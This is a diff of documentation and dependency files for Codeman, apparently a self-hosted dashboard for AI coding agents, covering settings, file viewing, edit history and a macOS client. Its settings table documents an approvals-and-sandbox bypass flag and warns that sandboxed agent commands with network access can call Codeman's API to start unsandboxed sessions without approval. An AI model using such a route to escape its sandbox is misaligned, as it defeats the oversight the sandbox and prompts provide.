| Codeman Agent Skill | Under **All agent CLIs**. Injects the agent skill into each new session's case, where that session's CLI looks for skills (every CLI except Pi, GitHub Copilot and a plain shell). On by default since 1.50.0; existing installs that stored off are switched on once at the first 1.50.0 start, and turning it off afterwards sticks. The copy ignores itself in git, so your repository never lists it. Off stops new copies but removes none (`codeman skill uninstall --case <name>` does). See [The Codeman Skill](Codeman-Skill). |
| Remote auto-reconnect | Reattaches dropped remote SSH sessions. On by default. |
| Nice priority / value | Runs agent processes at a lower CPU priority. |
| Default Codex model | Model for new local Codex sessions; empty uses Codex's own config. Letters, digits, `.` `_` `-` `/` only. |
| Default Codex reasoning effort | Reasoning level for new local Codex sessions; empty uses Codex's own config. |
| Bypass approvals and sandbox | Starts new Codex sessions with `--dangerously-bypass-approvals-and-sandbox`. Read [Agent CLIs](Agent-CLIs) before enabling. |
| Allow network access | Starts new local Codex sessions (Run menu, Resume and the API; not scheduled jobs) with `sandbox_workspace_write.network_access=true`, so commands in Codex's workspace-write sandbox can use the network. The [Codeman Skill](Codeman-Skill) needs it to reach this server from a Codex session. It applies to every such session, and those commands can then call Codeman's API, which can start a session outside the sandbox with no approval prompt, even when a password is set: see [Security](Security#what-codeman-does-not-protect-against). It applies where Codex runs the folder in workspace-write (a project you trusted in Codex) and does not change Codex's sandbox mode: a folder Codex runs read-only keeps the network closed, and Codex asks for approval per command. Synced, off by default; forced off for users without the privileged-commands grant in multi-user mode. |
| Animated status effects | Cosmetic. |
| MCP server sync | Copies the MCP servers each installed, enabled CLI (Claude, Codex, Gemini, OpenCode, Antigravity) and GitHub Copilot CLI has into the others' own config files. Synced, off by default, admin only in multi-user mode. Turn it on and **Apply** or **Save** (Apply keeps Settings open), then **Preview** shows what would change and **Sync now** applies it. It only adds missing servers, keeps the previous file as `.codeman-bak`, and leaves a file that receives env values or headers readable by you only. A config dir moved by `CODEX_HOME`, `CLAUDE_CONFIG_DIR`, `XDG_CONFIG_HOME`, `GEMINI_CLI_HOME` or `COPILOT_HOME` in Codeman's own environment is followed. |
+33
View File
@@ -287,6 +287,39 @@ Two extras depending on the device:
- **Phones**: tapping the "C" logo gives a session overview instead: NEEDS YOU first, then
current sessions, then past ones. On by default.
### Opened outside Codeman
A tmux session you started by hand (`tmux new -s work`, then `claude`, or just a shell) shows
up on the home screen under **Opened outside Codeman**, on the desktop and in the phone
overview. **Open** wraps it in a tab, and **Go to tab** on a row means it already has one.
| Where it runs | How it is found |
| -------------------- | ---------------------------------------------------------------------------- |
| **This machine** | Automatically, every few seconds while the home screen is up. |
| **A container** | The `⟳` button in the block's header scans the containers behind your Docker cases. |
| **Over SSH** | The same button scans your saved remote hosts. |
The container and SSH scan costs one connection per target, so it runs when you press the
button, and **Rescan** runs it again.
- **Closing the tab only detaches.** The session keeps running, and the close dialog offers no
kill. Opening one types nothing into it.
- **Codeman did not start it,** so it will not drive it: respawn, Ralph, auto-clear,
auto-compact, auto-resume, custom model endpoints, prompt uploads and the image watcher are
refused, the git panel shows nothing, and Edit history says it is not available.
- **The tab opens on the session's first window,** and the row describes that same window.
- **It joins like a second tmux client.** While the tab is open it can resize a session
someone else is viewing, the way any second client does, and that reverses when it closes.
- **A short line in the block says why a session is missing.** One whose name holds unusual
characters is skipped, and so is one named so that tmux reads the name as something else (it
starts with `=`, `@` or `%`, or is a bare `~`). Rename it with `tmux rename-session`. A tmux
server that stopped answering costs only its own sessions. One case gets no line: a session
named `codeman-*` or `claudeman-*`, or on a Codeman socket, counts as Codeman's own.
Only sockets in tmux's own folder are scanned, so `tmux -L <name>` is found and
`tmux -S /custom/path` is not. In multi-user mode the block is for admins, since it shows
everyone's processes.
## Panels
| Panel | Opened from | Covered in |
+41 -1
View File
@@ -221,6 +221,17 @@ Things to try:
Codex with mouse tracking on gets the wheel forwarded like fullscreen Claude; otherwise
it pages its transcript or scrolls locally, while `Shift+Wheel` always uses local scrollback.
### The wheel does nothing in a pi session
Fullscreen pi, the default since pi 1.0.0, scrolls its own transcript, so the wheel is
forwarded to it while it has mouse tracking on. If the wheel does nothing, turn off
**Wheel Scrolls Local History**: that setting keeps the wheel on a local buffer pi leaves
empty, and pi has no paging fallback. `PageUp` and `PageDown` on a keyboard still reach pi.
Codeman strips pi's mouse enables, so a drag selects text in the browser rather than using
pi's own selection or scrollbar drag. With `tuiMode: regular` pi is inline and the wheel
scrolls local history.
### Selected text is invisible on a light skin
Update. Every skin named its selection colour under a key xterm renamed in v5, so the four
@@ -246,6 +257,20 @@ If you are sending input over the API instead, your payload must end with `\r` o
is ever sent. The request still succeeds and the text sits unsubmitted in the composer. See
[Driving Codeman From An Agent](Driving-Codeman-From-An-Agent).
### Persian, Arabic or Hebrew looks wrong in the terminal
The terminal is xterm.js, which does not support right-to-left text yet
([xtermjs/xterm.js#701](https://github.com/xtermjs/xterm.js/issues/701)). It puts each
character in its own cell from left to right, so a sentence comes out reversed, and the
default WebGL renderer also draws the letters unjoined. Codeman cannot fix that without
replacing the terminal.
Read the answer in **Last Response** instead, where it lays out right to left, or open a
Markdown file in the [File Viewer](Working-With-Files). On desktop, turning off **WebGL
Renderer** in **App Settings → Terminal & Input** and reloading joins the letters, so each
word reads correctly, but the words of a sentence still run left to right. Phones already
use that renderer.
## Mobile
### The keyboard covers the terminal, or scroll position jumps
@@ -329,6 +354,21 @@ Start the stack with `bash docker/Start-Codeman.sh` rather than a plain `docker
and update: since 1.29.0 the entrypoint corrects a root-owned bind mount before dropping
privileges. See [Running As A Service](Running-As-A-Service).
### Compose: `CODEMAN_PASSWORD is still the example value "changeme"`
`Start-Codeman.sh` and `Update-Codeman.sh` refuse that password before they build or stop
anything, because the container publishes its port on every interface and holds the Docker
socket, so whoever signs in controls Docker on the host. Set a real password in `docker/.env`
and run the script again.
### Compose: `Codeman did not come up`, or no answer after 180 seconds
`Start-Codeman.sh` waits for the server after `up -d`. `did not come up` means the container
exited, restarted or went unhealthy, and the script prints its last log lines. `has not
answered after 180 seconds` means it is still running but silent, so on a slow host it may
just need longer: follow it with `docker compose logs -f codeman` from `docker/`. Either way
the script exits 1, and `--no-wait` skips the wait for scripts that check on their own.
### A remote SSH session dropped and did not come back
A bounded-backoff watcher reattaches dropped sessions, and it is on by default. Intentional
@@ -353,7 +393,7 @@ On an HTTPS install, add `-k` to the curl commands and use the `https://` URL.
Open an [issue](https://github.com/Ark0N/Codeman/issues) with:
- OS and version.
- Install method: installer, npm, or git clone.
- Install method: installer (with or without git), npm, or git clone.
- `codeman --version`.
- Browser and version, if the problem is in the UI.
- Which CLI the session was running, and its version.
+3 -1
View File
@@ -77,7 +77,9 @@ Turning on either starts the watcher.
**Last Response** (header button, opt-in) renders the agent's last answer as scrollable text
rather than terminal output. It exists mostly for phones, where reading a long answer in a
terminal viewport is painful. **More** loads additional context.
terminal viewport is painful. **More** loads additional context. Persian, Arabic and Hebrew
answers read right to left here, which the terminal cannot do, while code and the file paths
it links stay left to right.
## After the fact
+57 -26
View File
@@ -6,15 +6,25 @@ until you get home.
## The File Viewer
A panel that browses the active session's working directory. Its header button is on by
default; if it is missing, re-enable it in **App Settings → Header & Panels**.
A panel that browses the active session's working directory, or the git worktree its agent
moved into ([Git Worktrees](Git-Worktrees#when-an-agent-moves-into-a-worktree)). Its header
button is on by default; if it is missing, re-enable it in **App Settings → Header & Panels**.
The panel and its search list up to 5,000 files and folders per load, shallow levels first and
taking turns between folders, so one huge folder cannot use up that limit before the ones after it,
or the folders inside it, get a turn. They also stop opening folders after reading 250,000 entries,
so a workspace with several enormous folders can still leave later ones unread. When a workspace is
bigger than either limit the status line says `(truncated)`, and an expanded folder the scan did
not finish shows **Not fully scanned** rather than looking empty. A folder that does not answer,
such as a network mount that went away, is skipped rather than waited on and is marked the same way,
so a search can miss what is inside it. The panel's Refresh button tries it again.
It renders what it can:
| Kind | Behaviour |
| ------------------------ | ------------------------------------------------------------------------- |
| Text and code | Plain preview with Lines (line numbers) and Wrap toggles in the header. Long files are truncated in plain preview. |
| Markdown | Rendered by default: headings, tables, code blocks with copy buttons, images and links relative to the file (root-relative ones resolve from the workspace root, as on GitHub). Links to another heading of the same file (`[Install](#installation)`) scroll to it, with GitHub's heading names (lower-case, punctuation dropped, repeats numbered `-1`, `-2`), and never leave the page. Opened from an attachment card, where the file's folder is unknown, relative images show their alt text and relative links show as plain text. The MD pill in the header flips to source. |
| Markdown | Rendered by default: headings, tables, code blocks with copy buttons, images and links relative to the file (root-relative ones resolve from the workspace root, as on GitHub; for a file in a worktree beside the workspace that the agent is in, they resolve from the top of that worktree). Links to another heading of the same file (`[Install](#installation)`) scroll to it, with GitHub's heading names (lower-case, punctuation dropped, repeats numbered `-1`, `-2`), and never leave the page. Opened from an attachment card, where the file's folder is unknown, relative images show their alt text and relative links show as plain text. Persian, Arabic and Hebrew read right to left, each block following its own first letter, while code stays left to right. The MD pill in the header flips to source. |
| Images | Inline. |
| Audio and video | Inline with a working scrub bar, because range requests are supported. |
| Spreadsheets (`.xlsx`) | Read-only grid, parsed in your browser (never on the server), up to 10 MB. `.xls` and `.ods` are download only. |
@@ -107,6 +117,8 @@ another checkout. Those are served through the attachment routes rather than the
ones, so the same rules apply as to any other attachment: secret trees are blocked, the
extension allowlist decides what can be opened, and symlinks are resolved before either check.
One exception: while the agent works in a worktree of the session's repository beside it (see [Git Worktrees](Git-Worktrees)), a file in that worktree opens through the workspace routes like a workspace file, and you can edit it there. Two things differ from a workspace file: a text file there that you click in the terminal opens in the preview, not the live tail viewer, and secret files such as `.env` there are not served.
Outside the workspace the allowlist is images, video, audio, PDF, Office documents, and text
files, where "text" is the same list the viewer will let you edit: code, config, logs, csv,
markdown. The reasoning is that a session can already `cat` any of those, so the file suffix
@@ -126,9 +138,11 @@ can send what it can read to any host, open HTML only from sources you trust, as
your own desktop. The **Page**
pill in the viewer header switches to the source view (where **Edit** works as for any text
file), and the viewer falls back to source on its own when a page cannot be rendered: a remote
(SSH) case, an HTML file inside a hidden folder, or one sitting directly in a broad folder such
as your home folder or `/tmp` (the page may read the files in its own folder tree, so move it
into a folder of its own). The raw file routes still serve HTML as a download only.
(SSH) case, an HTML file inside a hidden folder (which includes `.claude/worktrees/<name>` after
an agent [moved into a worktree](Git-Worktrees#when-an-agent-moves-into-a-worktree)), or one
sitting directly in a broad folder such as your home folder or `/tmp` (the page may read the
files in its own folder tree, so move it into a folder of its own). The raw file routes still
serve HTML as a download only.
Text previews are capped at the first 500 lines, fetched as a partial read, so clicking a
one-gigabyte log does not try to paint one.
@@ -147,8 +161,8 @@ session uses: one `realpath` plus `stat` probe for the file and the workspace ro
streamed `cat` (or a slice of it, so video seeking works). Symlinks are resolved on the host
that can resolve them, the size cap applies to the remote size before a byte is requested,
and an unreachable host answers 502 rather than pretending the file is missing. Nothing is
ever copied onto the Codeman host, and a same-named local file is never served under a
remote name.
ever copied onto the Codeman host, apart from the diffs the [edit history](#edit-history)
stores, and a same-named local file is never served under a remote name.
Not available over ssh, and said so with a 400 instead of a misleading 404: editing in
place, Office previews and generated thumbnails (both need the bytes on the server's disk),
@@ -157,30 +171,38 @@ their workspace is bind-mounted at the same path.
## The path picker
For choosing a path rather than typing one. It appears in two places:
For choosing a path rather than typing one. It appears in these places:
- **Browse** in **Add Case → Link Existing**.
- **Browse** in **Add Case → Create New**, under **Create in a custom folder**.
- **Browse** in **Add Case → Clone Repo**, under **Clone into a custom folder**.
- **Browse** on the folder fields of **Add Case → Docker**.
- The **📁 Path** key on the mobile keyboard bar.
It browses one directory at a time and can show hidden entries on request. The current
folder is an editable field: type or paste a path and press Enter (or **Go**) to jump
straight there, and a full file path lands in its folder with that file selected. The
**Sort** control orders each listing by name or by modified time (newest first is the
quick way to the file an agent just wrote), with folders always ahead of files; the
choice is remembered per device. The picker inserts the path into your prompt
**without** pressing Enter, so nothing is submitted by accident. Its sibling **⌫ All**
key clears the unsent prompt, and never sends the agent's `/clear` command.
It browses one directory at a time and can show hidden entries on request (the Docker
**Container Workdir** picker always lists them). The current folder is an editable
field: type or paste a path and press Enter (or **Go**) to jump straight there, and a
full file path lands in its folder with that file selected. The **Sort** control orders
each listing by name or by modified time (newest first is the quick way to the file an
agent just wrote), with folders always ahead of files; the choice is remembered per
device. A **Browse** button fills the field beside it. The **📁 Path** key inserts the
path into your prompt **without** pressing Enter, so nothing is submitted by accident.
Its sibling **⌫ All** key clears the unsent prompt, and never sends the agent's `/clear`
command.
In **Link Existing**'s picker, **+📁** (New folder) makes a folder inside the folder you
are viewing and selects it. Names use letters, numbers, spaces and `_ - . ~` (not starting
with a dot or `~`). The cases folder is refused, since every folder there is already a
case: use **Add Case → New Case** instead.
In the **Link Existing**, **Create New** (custom folder) and **Clone Repo** (custom folder)
pickers, **+📁** (New folder) makes a folder inside the folder you are viewing and selects
it. Names use letters, numbers, spaces and `_ - . ~` (not starting with a dot or `~`). The
cases folder is refused, since every folder there is already a case: pick a folder outside
it, or make the case with **Add Case → Create New** or **Clone Repo** (no custom folder).
This is a separate file-serving surface from the viewer, with its own rules: it allowlists
your home directory, the cases directory, and anything in `CODEMAN_FILE_PICKER_ROOTS`, and
blocks sensitive trees. In multi-user mode a non-admin gets only their own user space as a
root, because per-user spaces live inside the home directory and a home-directory root would
expose everyone.
expose everyone. The Docker **Container Workdir** picker lists the inside of the container
instead, read-only, so these host rules do not apply to it; it is admin-only in multi-user
mode.
## Files into a session
@@ -306,20 +328,29 @@ Click it for a draggable window listing the active session's edits, newest first
first catches up on the ones it had not read yet. **Load older** then goes back within the new
conversation.
It works for local Claude sessions only. Remote (SSH), Docker and other CLIs' sessions say so instead.
It works for Claude sessions, local and remote (SSH). Docker sessions, other CLIs' sessions and
tmux sessions opened outside Codeman say so instead.
A remote session's images show no thumbnail (each would be one more SSH read); click one to
preview it. A remote host that is asleep is never woken for the history: the window shows the
stored edits with the SSH error on top.
How it reads:
- **Only while you look.** The history is read from the session's Claude transcript when you open
the window, and again after each tool call that can change files and at the end of each turn,
while it stays open on that session. A closed window reads nothing, and Codeman does no work in
the background for sessions nobody looks at.
while it stays open on that session (a remote session at the end of each turn only: its host
sends no tool events). A closed window reads nothing, and Codeman does no work in the
background for sessions nobody looks at.
- **The transcript is found through the session's hooks.** Each prompt tells Codeman where the
session's transcript is. Right after a server restart, before the next prompt, Codeman looks in
the session's `CLAUDE_CONFIG_DIR` if you set one for it in Codeman, else in the default config
directory. A `CLAUDE_CONFIG_DIR` set outside Codeman (in a shell profile or a wrapper script)
is only known after the next prompt; until then the window says "No transcript found for this
session yet".
session yet". A remote session's transcript is looked up on its host over SSH: the
conversation its Claude writes now, else the most recently written of the one the window
showed last and the session's own, under the remote user's `~/.claude`, or under
`CLAUDE_CONFIG_DIR` when the host sets it for every SSH command (`.zshenv`,
`/etc/environment`); one set only in `.profile`, `.bash_profile` or `.zshrc` is not seen.
- **The history is stored, and it holds secrets.** Every diff an agent wrote is copied to
`~/.codeman/edit-history/<session-id>.json`, including API keys or `.env` contents it edited. The file is
readable by your user only, capped at 500 edits and 4 MiB of diff text per session (the oldest
+1150 -78
View File
File diff suppressed because it is too large. Load diff
+12 -30
View File
@@ -1,12 +1,12 @@
{
"name": "aicodeman",
"version": "1.48.0",
"version": "1.50.0",
"lockfileVersion": 3,
"requires": true,
"packages": {
"": {
"name": "aicodeman",
"version": "1.48.0",
"version": "1.50.0",
"hasInstallScript": true,
"license": "MIT",
"workspaces": [
@@ -63,7 +63,7 @@
"exceljs": "4.4.0",
"fflate": "0.8.3",
"pixelmatch": "^6.0.0",
"playwright": "^1.58.0",
"playwright": "^1.64.1",
"pngjs": "^7.0.0",
"postcss": "^8.5.15",
"prettier": "^3.4.0",
@@ -9736,50 +9736,32 @@
}
},
"node_modules/playwright": {
"version": "1.60.0",
"resolved": "https://registry.npmjs.org/playwright/-/playwright-1.60.0.tgz",
"integrity": "sha512-hheHdokM8cdqCb0lcE3s+zT4t4W+vvjpGxsZlDnikarzx8tSzMebh3UiFtgqwFwnTnjYQcsyMF8ei2mCO/tpeA==",
"version": "1.64.1",
"resolved": "https://registry.npmjs.org/playwright/-/playwright-1.64.1.tgz",
"integrity": "sha512-HCrVhHr5QQuwYoswEUGTb7gGp522yflbv/ST8nF4sFWGuLjQCt17Q/EubpGGSNKYn1tsTCPZxqHhHCfVURu7UA==",
"dev": true,
"license": "Apache-2.0",
"dependencies": {
"playwright-core": "1.60.0"
"playwright-core": "1.64.1"
},
"bin": {
"playwright": "cli.js"
},
"engines": {
"node": ">=18"
},
"optionalDependencies": {
"fsevents": "2.3.2"
"node": ">=20"
}
},
"node_modules/playwright-core": {
"version": "1.60.0",
"resolved": "https://registry.npmjs.org/playwright-core/-/playwright-core-1.60.0.tgz",
"integrity": "sha512-9bW6zvX/m0lEbgTKJ6YppOKx8H3VOPBMOCFh2irXFOT4BbHgrx5hPjwJYLT40Lu+4qtD36qKc/Hn56StUW57IA==",
"version": "1.64.1",
"resolved": "https://registry.npmjs.org/playwright-core/-/playwright-core-1.64.1.tgz",
"integrity": "sha512-BC4s8y6SEVA6Q1rSxZTto8hI1KUI3xXlHGZgvGqP4IqPdI/a6FX9H29IDNz7vKo9l21b6LfYosScPL6M3xxyDQ==",
"dev": true,
"license": "Apache-2.0",
"bin": {
"playwright-core": "cli.js"
},
"engines": {
"node": ">=18"
}
},
"node_modules/playwright/node_modules/fsevents": {
"version": "2.3.2",
"resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.2.tgz",
"integrity": "sha512-xiqMQR4xAeHTuB9uWm+fFRcIOgKBMiOBP+eXiyT7jsgVCq1bkVygt00oASowB7EdtpOHaaPgKt812P9ab+DDKA==",
"dev": true,
"hasInstallScript": true,
"license": "MIT",
"optional": true,
"os": [
"darwin"
],
"engines": {
"node": "^8.16.0 || ^10.6.0 || >=11.0.0"
"node": ">=20"
}
},
"node_modules/pngjs": {
+3 -2
View File
@@ -1,6 +1,6 @@
{
"name": "aicodeman",
"version": "1.48.0",
"version": "1.50.0",
"description": "Self-hosted mission control for AI coding agents: run Claude Code, Codex, OpenCode, Gemini, DeepSeek, Grok and more 24/7 in tmux, from any device.",
"mcpName": "io.github.Ark0N/codeman",
"type": "module",
@@ -30,6 +30,7 @@
"test:mobile": "vitest run --config test/mobile/vitest.config.ts",
"check:frontend-syntax": "node scripts/check-frontend-syntax.mjs",
"check:browser-excludes": "node scripts/check-browser-test-excludes.mjs",
"check:local-model-catalog": "tsx scripts/check-local-model-catalog.mjs",
"fix:node-pty": "node scripts/fix-node-pty.mjs",
"typecheck": "tsc --noEmit && tsc -p config/tsconfig.scripts.json",
"lint": "eslint --config config/eslint.config.js 'src/**/*.ts'",
@@ -133,7 +134,7 @@
"exceljs": "4.4.0",
"fflate": "0.8.3",
"pixelmatch": "^6.0.0",
"playwright": "^1.58.0",
"playwright": "^1.64.1",
"pngjs": "^7.0.0",
"postcss": "^8.5.15",
"prettier": "^3.4.0",
+1
View File
@@ -164,6 +164,7 @@ dependencies = [
"base64 0.22.1",
"block2",
"dirs 6.0.0",
"libc",
"muda",
"objc2",
"objc2-app-kit",
+6
View File
@@ -30,6 +30,9 @@ ureq = { version = "3", features = ["platform-verifier"] }
[target.'cfg(target_os = "macos")'.dependencies]
security-framework = "3"
# Ignoring signals in the logo blinker (src/logo.rs). Already in the tree
# through wry and tao, so no new crate is added.
libc = "0.2"
# JavaScript dialogs, HTTP Basic challenges, clearing cookies and the window's
# content size (src/macos.rs). The versions wry already pulls in, so no new
# crate is added.
@@ -39,7 +42,9 @@ objc2-foundation = { version = "0.3.2", default-features = false, features = [
"std",
"objc2-core-foundation",
"block2",
"NSBundle",
"NSDate",
"NSDictionary",
"NSGeometry",
"NSObject",
"NSOperation",
@@ -53,6 +58,7 @@ objc2-foundation = { version = "0.3.2", default-features = false, features = [
"NSURLRequest",
"NSURLResponse",
"NSURLSession",
"NSValue",
] }
objc2-app-kit = { version = "0.3.2", default-features = false, features = [
"std",
+162 -19
View File
@@ -13,8 +13,8 @@ Windows and Linux later.
- **Stack:** Rust with [tao](https://crates.io/crates/tao) (window and event loop),
[wry](https://crates.io/crates/wry) (the system web view: WKWebView on macOS) and
[muda](https://crates.io/crates/muda) (native menus), plus [objc2](https://crates.io/crates/objc2)
for the two things wry leaves out on macOS (JavaScript dialogs, HTTP Basic login).
No bundled browser and no Node in the app.
for what wry leaves out on macOS (JavaScript dialogs, HTTP Basic login) and for
the lid logo. No bundled browser and no Node in the app.
- **Server:** unchanged. The app is a client of Codeman's web UI, like a browser tab.
## Why it is cheap
@@ -28,9 +28,9 @@ cannot do.
| | |
| --- | --- |
| **This Mac** | The connect screen's first tab looks for Codeman on this Mac and offers what fits: *Open Codeman* when it runs, *Start Codeman* when it is installed but stopped, *Install Codeman on this Mac* when it is not there. The address comes from Codeman's LaunchAgent (port, sub-path, HTTPS). When nothing answers there but one of your own Codeman servers runs (found with `ps` and `lsof`: a `codeman web --port 4000` in a terminal, say), the tab opens that one, or says where it listens; it never offers to start a second server, which would take over the first one's sessions, and Start refuses while one runs. A server that runs but listens nowhere yet (the first seconds after login, a restart) shows as *starting*: the tab looks again every second and, when a connect to this Mac had just been refused, opens Codeman once it is up. Start asks launchd to run the LaunchAgent (`kickstart`, or `bootstrap` when it is not loaded), so the server keeps its own settings and supervision; without a LaunchAgent it runs `codeman web -d`. The login comes from where Codeman keeps it: the LaunchAgent's `CODEMAN_USERNAME`/`CODEMAN_PASSWORD`, else `~/.codeman/.env` (what Codeman's command-line clients read), `admin` by default. It goes only to `127.0.0.1` on that Codeman's port, only while one of your own Codeman processes holds that port, is never saved to the Keychain, and never reaches the page. Whether Codeman is installed is looked up in its files and processes, then the login shell; the interactive profile (nvm in `.zshrc`, say) only on *Check again*. Install opens Terminal with Codeman's installer (`install.sh --local --service --port N`): it may ask for the Mac password (Homebrew, Node.js, tmux) and which AI coding tools to set up, then Codeman runs as a LaunchAgent, so it keeps running when the app quits and starts at login. *Also reach it from my phone and other computers* drops `--local`, and the installer asks how (Tailscale, or the local network with a password). Port 3000 is used unless something else answers there, then the next free one. While the installer runs, the app looks every 3 seconds and opens Codeman as soon as it answers; it stops looking after the first answer, after 30 minutes, or 90 seconds after a finished install whose server never answered (then it offers Start). An install still running in Terminal is recognized by its process, so the tab waits for it instead of offering Install twice. |
| **This Mac** | The connect screen's first tab looks for Codeman on this Mac and offers what fits: *Open Codeman* when it runs, *Start Codeman* when it is installed but stopped, *Install Codeman on this Mac* when it is not there. The address comes from Codeman's LaunchAgent (port, sub-path, HTTPS). The tab also finds every Codeman server of yours that already runs on this Mac (with `ps` and `lsof`: a `codeman web --port 4000` in a terminal, a beta instance beside the installed one) and recommends connecting to it. Each one's address is worked out from its listening socket and its command line (`127.0.0.1` for a bind to loopback or to every interface, its own address for a bind to one, `https` with `--https`, the path of `--base-url`), and each is asked once whether Codeman answers there. When nothing answers at the usual address (the LaunchAgent's, or `http://127.0.0.1:3000` without one), *Open Codeman* is for the first found server that does; when none of them can be opened, the tab says *Codeman is already running on this Mac* and lists them. Next to a Codeman that answers, the others are listed under *Also running on this Mac*. A row shows the address, the version, and a *Connect* button, or the reason the app cannot open that one (HTTPS with Codeman's own certificate, no answer). *Connect* is the connect of the Another machine tab with that address filled in: the same check, the login saved for it, the same entry under recent servers. Finding a server connects to nothing by itself. The tab never offers to start a second server, which would take over the first one's sessions, and Start refuses while one runs. A server that runs but listens nowhere yet (the first seconds after login, a restart) shows as *starting*: the tab looks again every second and, when a connect to this Mac had just been refused, opens Codeman once it is up. Start asks launchd to run the LaunchAgent (`kickstart`, or `bootstrap` when it is not loaded), so the server keeps its own settings and supervision; without a LaunchAgent it runs `codeman web -d`. The login comes from where Codeman keeps it: the LaunchAgent's `CODEMAN_USERNAME`/`CODEMAN_PASSWORD`, else `~/.codeman/.env` (what Codeman's command-line clients read), `admin` by default. It goes only to `127.0.0.1` on that Codeman's port, only while one of your own Codeman processes holds that port, is never saved to the Keychain, and never reaches the page. Whether Codeman is installed is looked up in its files and processes, then the login shell; the interactive profile (nvm in `.zshrc`, say) only on *Check again*. Install sets Codeman up from the app itself, with no Terminal and no password (see Decisions). It fetches the installer, asks it what is on this Mac, then asks two things: which coding agent to install, only when this Mac has none (the list comes from the installer, and *Skip for now* is there), and who can reach Codeman (this Mac only, or the local network with a password). A checklist follows the install, the installer's output is one click away, and Cancel stops it; installing again picks up where it stopped. Codeman runs as a LaunchAgent, so it keeps running when the app quits and starts at login. Port 3000 is used unless something else answers there, then the next free one. Closing the app does not stop an install: it runs on its own, and the app picks it up when it opens again. When it is done the app looks every 3 seconds and opens Codeman as soon as it answers; it stops looking after the first answer, after 30 minutes, or 90 seconds after a finished install whose server never answered (then it offers Start). *Install in Terminal instead* runs the installer in a Terminal window, for what the app cannot do (see Known limits): it may ask for the Mac password (Homebrew) and asks its own questions there. The app offers it by itself on a Mac where the graphical install cannot finish. An install still running in Terminal is recognized by its process, so the tab waits for it instead of offering Install twice. *Add a coding agent*, on this tab and in the app menu whenever Codeman is on this Mac, is the same chooser after the install: pick one agent, watch it install, open Codeman. It needs no password, leaves a running Codeman alone, and can be cancelled or left running like an install. After *Skip for now* the app says Codeman has no agent yet and offers this before it opens Codeman. |
| **Another machine** | The second tab connects to a server by address (below). *Codeman is not installed there yet?* opens Terminal, connects with `ssh -t` and runs Codeman's installer on that machine, which asks its questions there; the app then suggests `http://<host>:3000` and the installer prints the real address at the end. The SSH login is checked to the characters of a user and host name (no option can be slipped in) and may carry a `:port`. The remote command runs under `bash -o pipefail`, so a failed download fails the install instead of reporting success. The same tab shows the one-line install command, with a Copy button, to run on a machine by hand. |
| **Connect screen** | Server address, recent servers, a login for password-protected servers (password kept in the macOS Keychain), auto-connect at launch. An address typed without `http://` or `https://` gets `http://`, except a tailnet name with no port (`machine.tailnet.ts.net`, which is `tailscale serve`), which gets `https://`. It explains each failure: nothing listening; wrong password; too many failed logins (the password field stays open, since a single-user Codeman accepts the right password even then); unknown host name; an address this Mac cannot reach (with a pointer to the Local Network setting); an `http://` address on a port that only speaks HTTPS; an untrusted certificate; a redirect, with a button for the suggested `https://` address; not a Codeman server. A multi-user account that must change its password connects, and Codeman's own dialog asks for the new one. If the server page has not started showing within 15 seconds, or you press Cancel while it opens, the connect screen comes back with a notice. A login that would cross the network over plain `http://` to another machine says so. Return opens or starts the Codeman on this Mac and Esc cancels a connect, as in a Mac dialog (Install always takes a click). On a Mac whose WebKit is too old for Codeman it says so and Connect stays off (see Known limits). |
| **Connect screen** | Server address, recent servers, a login for password-protected servers (password kept in the macOS Keychain), auto-connect at launch. An address typed without `http://` or `https://` gets `http://`, except a tailnet name with no port (`machine.tailnet.ts.net`, which is `tailscale serve`), which gets `https://`. It explains each failure: nothing listening; wrong password; too many failed logins (the password field stays open, since a single-user Codeman accepts the right password even then); unknown host name; an address this Mac cannot reach (with a pointer to the Local Network setting); an `http://` address on a port that only speaks HTTPS; an untrusted certificate; a redirect, with a button for the suggested `https://` address; not a Codeman server. A multi-user account that must change its password connects, and Codeman's own dialog asks for the new one. If the server page has not started showing within 15 seconds, or you press Cancel while it opens, the connect screen comes back with a notice. A login that would cross the network over plain `http://` to another machine says so. Return opens or starts the Codeman on this Mac (or connects to the one found here, when that is the tab's main button) and Esc cancels a connect, as in a Mac dialog (Install always takes a click). On a Mac whose WebKit is too old for Codeman it says so and Connect stays off (see Known limits). |
| **Start Codeman** | On the This Mac tab, and when `http://127.0.0.1:<port>` or `http://localhost:<port>` answers nothing, one click runs `codeman web -d` (or `~/.codeman/app`) with your login shell's environment, so the server gets your real PATH (Homebrew, nvm) for the agents it spawns. zsh, bash and other POSIX shells run the start themselves; fish, nu, xonsh, tcsh and other shells only report their environment, and the start runs under `/bin/sh` with it. Offered for those two addresses only: `codeman web -d` listens on 127.0.0.1. |
| **Login** | The app answers the server's HTTP Basic login requests itself, with the login you connected with, so the page keeps working after the server restarts (a restart forgets every session cookie). It answers only for Codeman's own pages under the server's base path: a web tab or a rendered HTML file that asks for a Basic login of its own is left to WebKit and never gets your Codeman password. WebKit keeps no copy of the login, so every request for it gets the current one. Each connect first clears the app's cookies, so connecting to the same server as another user really switches users (local storage, where Codeman keeps its per-device settings, stays; a dashboard in a web tab that keeps its own login in a cookie may ask for it again). A page that still gets a 401 reloads once. If the server refuses the login (the password was changed, say), the app does not keep sending it: it checks it with a single probe, and only if the server refuses that too does the connect screen come back with a notice. That does not take focus from the app you are in: if Codeman is in the background, its Dock icon bounces. |
| **Dialogs** | Codeman's `confirm()`, `prompt()` and `alert()` (Delete case, Kill all sessions, Update Codeman, discarding unsaved edits, ...) show as native macOS dialogs. wry implements none of them, and without them WKWebView answers Cancel without showing anything. Each dialog's first line names the page it comes from, and says so when that is an embedded frame (a web tab, a rendered HTML preview), so a frame cannot pass its text off as Codeman's. |
@@ -40,6 +40,7 @@ cannot do.
| **Links** | On Codeman's own pages (the dashboard and session windows), a link to another site opens in your default browser, also on `⌘`-click or a middle click. Pages can send at most 3 links to the browser at once, then 1 per second. Inside a rendered HTML preview or a web tab, a plain link to another site does nothing, while one that asks for a new window (`target="_blank"`, `window.open`) opens in your default browser within the same budget (see Known limits). |
| **Downloads** | Codeman's Download links, and downloads Codeman opens in a new window, save the file to `~/Downloads` whatever its type, and a toast in Codeman names the file. Files the web view cannot display are saved the same way. |
| **A page that stops** | When the web content process of a window ends (a WebKit crash, or macOS taking the process back under memory pressure), the window loads its page again instead of staying blank. A second time within 30 seconds, the main window goes back to the connect screen and a pop-out closes, so a page that cannot stay up never becomes a reload loop. |
